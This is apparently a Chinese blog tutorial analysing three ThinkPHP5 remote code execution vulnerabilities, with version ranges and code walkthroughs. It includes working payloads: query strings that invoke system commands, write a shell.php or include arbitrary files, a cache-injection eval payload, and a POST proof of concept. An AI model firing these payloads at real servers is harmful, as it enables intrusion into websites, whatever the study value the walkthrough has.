百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程网 > 正文

Thinkphp5代码执行学习(thinkphp 教程)

yuyutoo 2024-11-16 02:39 3 浏览 0 评论

Thinkphp5代码执行学习

缓存类RCE

  • 版本

5.0.0<=ThinkPHP5<=5.0.10

  • Tp框架搭建
  • 环境搭建
  • 测试payload
?username=syst1m%0d%0a@eval($_GET[_]);//

可以看到已经写入了缓存

漏洞分析

  • thinkphp/library/think/Cache.php:126

先跟踪一下Cache类的set方法

  • thinkphp/library/think/Cache.php:63

跟踪一下init方法,这里的self::$handler默认值是File,为think\cache\driver\File 类实例

  • thinkphp/library/think/Cache.php:36

跟进connect方法

先打印一下options内容

array (size=4)  'type' => string 'File' (length=4)  'path' => string '/Applications/MAMP/htdocs/runtime/cache/' (length=40)  'prefix' => string '' (length=0)  'expire' => int 0

type为file,先赋值一个$name,class为\think\cache\driver\File

  • thinkphp/library/think/cache/driver/File.php:137

跟踪一下File类的set方法

  • thinkphp/library/think/cache/driver/File.php:67

跟进文件名生成方法,程序先获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名。

$data变量为序列化的值,没有进行过滤直接将内容写进了缓存,前面有//注释符,可以通过注入换行符绕过该限制。

未开启强制路由导致rce

  • 影响版本

5.0.7<=ThinkPHP<=5.0.22

  • payload

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg    # 包含任意文件?s=index/\think\Config/load&file=../../t.php     # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
  • 环境搭建
  • 测试payload
index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

漏洞分析

默认情况下安装的 ThinkPHP 是没有开启强制路由选项,而且默认开启路由兼容模式

?s=模块/控制器/方法 所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 calluserfunc,尝试利用这个方法。访问如下链接

*?s=index/\think\Request/input&filter[]=system&data=whoami

  • thinkphp/library/think/route/dispatch/Module.php:70

于获取控制器点打断点

程序会跳到thinkphp/library/think/App.php的run方法,在路由检测地打个断点,重新请求

  • thinkphp/library/think/App.php:583

于routeCheck方法对路由进行了检测,

thinkphp/library/think/route/dispatch/Url.php:23

出来的dispatch为index|\think\Request|input,将\替换成了|,然后进入init方法

  • thinkphp/library/think/App.php:402

经过路由检测之后的dispatch为:

  • thinkphp/library/think/App.php:431
  • thinkphp/library/think/route/Dispatch.php:168

跟进Dispatch类的run方法

  • thinkphp/library/think/route/dispatch/Module.php:84

执行exec函数,跟进函数

利用反射机制,调用类的方法

  • thinkphp/library/think/Container.php:391
  • thinkphp/library/think/Request.php:1358

进入input(),$this->filterValue()处理

  • thinkphp/library/think/Request.php:1437

跟进后执行call_user_func(),实现rce

method任意调用方法导致rce

  • 版本

5.0.0<=ThinkPHP5<=5.0.23

  • 环境搭建
  • 测试payload

漏洞分析

  • thinkphp/library/think/Request.php:524

$method 来自可控的 $_POST 数组,而且在获取之后没有进行任何检查,直接把它作为 Request 类的方法进行调用,同时,该方法传入的参数是可控数据 $_POST,可以随意调用 Request 类的部分方法。

  • 搜索varmethod,值为method
  • thinkphp/library/think/Request.php:135

查看request类的__construct方法,可以覆盖类属性,那么我们可以通过覆盖Request类的属性.

  • thinkphp/library/think/App.php:126

如果开启了debug,则调用$request->param()方法,

  • thinkphp/library/think/Request.php:637

跟进param方法,发现调用了$this->method

  • thinkphp/library/think/Request.php:862

跟踪到server方法,把$this->server 传入了 input 方法,这个this->server 的值,我们可以通过先前 Request 类的 __construct 方法来覆盖赋值,filter 的值部分来自 this->filter ,又是可以通过先前 Request 类的 __construct 方法来覆盖赋值

  • thinkphp/library/think/Request.php:1034

进入input方法的filterValue,进入call_user_func回调,造成RCE漏洞的产生

如果没有开启debug

  • thinkphp/library/think/App.php:445

在exec方法中,当$dispatch['type']等于method或者controller时候,也会调用param()方法

  • thinkphp/library/think/Route.php:918

dispatch['type'] 来源于 parseRule 方法中的 result 变量,$route 变量取决于程序中定义的路由地址方式

只要是存在的路由就可以使dispatch['type']成立,而在 ThinkPHP5 完整版中,定义了验证码类的路由地址?s=captcha,默认这个方法就能使$dispatch=method从而进入Request::instance()->param(),使条件成立。

  • poc
POST /index.php?s=captcha HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al

相关推荐

史上最全的浏览器兼容性问题和解决方案

微信ID:WEB_wysj(点击关注)◎◎◎◎◎◎◎◎◎一┳═┻︻▄(页底留言开放,欢迎来吐槽)●●●...

平面设计基础知识_平面设计基础知识实验收获与总结
平面设计基础知识_平面设计基础知识实验收获与总结

CSS构造颜色,背景与图像1.使用span更好的控制文本中局部区域的文本:文本;2.使用display属性提供区块转变:display:inline(是内联的...

2025-02-21 16:01 yuyutoo

写作排版简单三步就行-工具篇_作文排版模板

和我们工作中日常word排版内部交流不同,这篇教程介绍的写作排版主要是用于“微信公众号、头条号”网络展示。写作展现的是我的思考,排版是让写作在网格上更好地展现。在写作上花费时间是有累积复利优势的,在排...

写一个2048的游戏_2048小游戏功能实现

1.创建HTML文件1.打开一个文本编辑器,例如Notepad++、SublimeText、VisualStudioCode等。2.将以下HTML代码复制并粘贴到文本编辑器中:html...

今天你穿“短袖”了吗?青岛最高23℃!接下来几天气温更刺激……

  最近的天气暖和得让很多小伙伴们喊“热”!!!  昨天的气温到底升得有多高呢?你家有没有榜上有名?...

CSS不规则卡片,纯CSS制作优惠券样式,CSS实现锯齿样式

之前也有写过CSS优惠券样式《CSS3径向渐变实现优惠券波浪造型》,这次再来温习一遍,并且将更为详细的讲解,从布局到具体样式说明,最后定义CSS变量,自定义主题颜色。布局...

柠檬科技肖勃飞:大数据风控助力信用社会建设

...

你的自我界限够强大吗?_你的自我界限够强大吗英文

我的结果:A、该设立新的界限...

行内元素与块级元素,以及区别_行内元素和块级元素有什么区别?

行内元素与块级元素首先,CSS规范规定,每个元素都有display属性,确定该元素的类型,每个元素都有默认的display值,分别为块级(block)、行内(inline)。块级元素:(以下列举比较常...

让“成都速度”跑得潇潇洒洒,地上地下共享轨交繁华
让“成都速度”跑得潇潇洒洒,地上地下共享轨交繁华

去年的两会期间,习近平总书记在参加人大会议四川代表团审议时,对治蜀兴川提出了明确要求,指明了前行方向,并带来了“祝四川人民的生活越来越安逸”的美好祝福。又是一年...

2025-02-21 16:00 yuyutoo

今年国家综合性消防救援队伍计划招录消防员15000名

记者24日从应急管理部获悉,国家综合性消防救援队伍2023年消防员招录工作已正式启动。今年共计划招录消防员15000名,其中高校应届毕业生5000名、退役士兵5000名、社会青年5000名。本次招录的...

一起盘点最新 Chrome v133 的5大主流特性 ?

1.CSS的高级attr()方法CSSattr()函数是CSSLevel5中用于检索DOM元素的属性值并将其用于CSS属性值,类似于var()函数替换自定义属性值的方式。...

竞走团体世锦赛5月太仓举行 世界冠军杨家玉担任形象大使

style="text-align:center;"data-mce-style="text-align:...

学物理能做什么?_学物理能做什么 卢昌海

作者:曹则贤中国科学院物理研究所原标题:《物理学:ASourceofPowerforMan》在2006年中央电视台《对话》栏目的某期节目中,主持人问过我一个的问题:“学物理的人,如果日后不...

你不知道的关于这只眯眼兔的6个小秘密
你不知道的关于这只眯眼兔的6个小秘密

在你们忙着给熊本君做表情包的时候,要知道,最先在网络上引起轰动的可是这只脸上只有两条缝的兔子——兔斯基。今年,它更是迎来了自己的10岁生日。①关于德艺双馨“老艺...

2025-02-21 16:00 yuyutoo

取消回复欢迎 发表评论: